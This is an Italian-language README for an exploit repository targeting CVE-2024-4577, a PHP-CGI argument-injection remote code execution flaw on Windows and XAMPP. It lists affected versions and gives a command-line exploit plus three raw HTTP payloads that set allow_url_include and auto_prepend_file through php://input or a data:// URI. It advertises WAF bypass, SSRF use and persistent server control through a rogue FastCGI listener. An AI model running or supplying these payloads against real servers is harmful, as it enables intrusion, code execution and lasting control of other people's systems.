CVE-2024-4577-PHP-RCE

Descrizione del progetto e principio

• Il primo EXP al mondo per la vulnerabilità CVE-2024-4577 PHP-CGI RCE utilizzando l'ambiente PHP predefinito (XAMPP).
• Il primo exploit al mondo per CVE-2024-4577 PHP-CGI RCE che sfrutta l'ambiente PHP predefinito. Condivide l'exploit originale, supporta SSRF, supporta il bypass WAF.
• Realizza RCE nell'ambiente PHP predefinito. Principio: cgi.force_redirect + REDIRECT-STATUS.
• Nuovo EXP originale, supporta attacchi in scenari con bypass WAF. Principio: creazione di un server FastCGI + comunicazione tramite protocollo FastCGI.
• Nuovo EXP originale, supporta attacchi in scenari SSRF. Principio: protocollo data:// + richiesta GET.

Vantaggi di EXP 1

• RCE senza bisogno di allow_url_include, auto_prepend_file, auto_append_file. Può includere qualsiasi file e file PHP.
• Non vengono utilizzate le parole chiave allow_url_include, auto_prepend_file, auto_append_file spesso bloccate dai WAF.
• Tutte le comunicazioni del server FastCGI non vengono registrate dal WAF.
• Ascolta su una nuova porta, quindi realizza un controllo persistente del server PHP, indipendente da Apache e PHP.

Introduzione alla vulnerabilità

Versioni interessate

• PHP Windows 8.3.0 <= versione interessata < 8.3.8
• PHP Windows 8.2.0 <= versione interessata < 8.2.20
• PHP Windows 8.1.0 <= versione interessata < 8.1.29
• PHP Windows versione interessata == 8.0.x
• PHP Windows versione interessata == 7.x
• PHP Windows versione interessata == 5.x
• XAMPP Windows 8.2.0 <= versione interessata <= 8.2.12
• XAMPP Windows 8.1.0 <= versione interessata <= 8.1.25
• XAMPP Windows versione interessata == 8.0.x
• XAMPP Windows versione interessata == 7.x
• XAMPP Windows versione interessata == 5.x

EXP 1

Utilizzabile per scenari con bypass WAF + scenario predefinito:

python CVE-2024-4577-PHP-RCE.py PhpServerHost:PhpServerPort

Esempio:

python CVE-2024-4577-PHP-RCE.py 123.123.123.123:80

EXP 2

Utilizzabile per scenari SSRF + scenario predefinito:

http://PhpServerHost:PhpServerPort/php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+-d+allow_url_include%3d1+-d+auto_prepend_file%3d"data:XCANWIN/XCANWIN;base64,PD9waHAgZGllKCJUZSIuInNUIik7Pz4g"

EXP 3

Utilizzabile per lo scenario predefinito:

POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost

<?php die("Te"."sT");?>

EXP 4

Utilizzabile per lo scenario predefinito:

POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
REDIRECT-STATUS: XCANWIN

<?php die("Te"."sT");?>

Riproduzione

1. Ambiente server:

XAMPP Windows versione 8.2.12

2. Scaricare e installare XAMPP sul server:

https://zenlayer.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe?viasf=1

Oppure scegliere autonomamente le versioni interessate qui: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/

3. Configurazione del server

Nessuna modifica necessaria, mantenere la configurazione predefinita

4. Utilizzo dell'EXP sul client

Testare utilizzando gli EXP sopra indicati

5. Verifica

Osservare se viene restituita la stringa "TesT" o il contenuto del file system.ini del server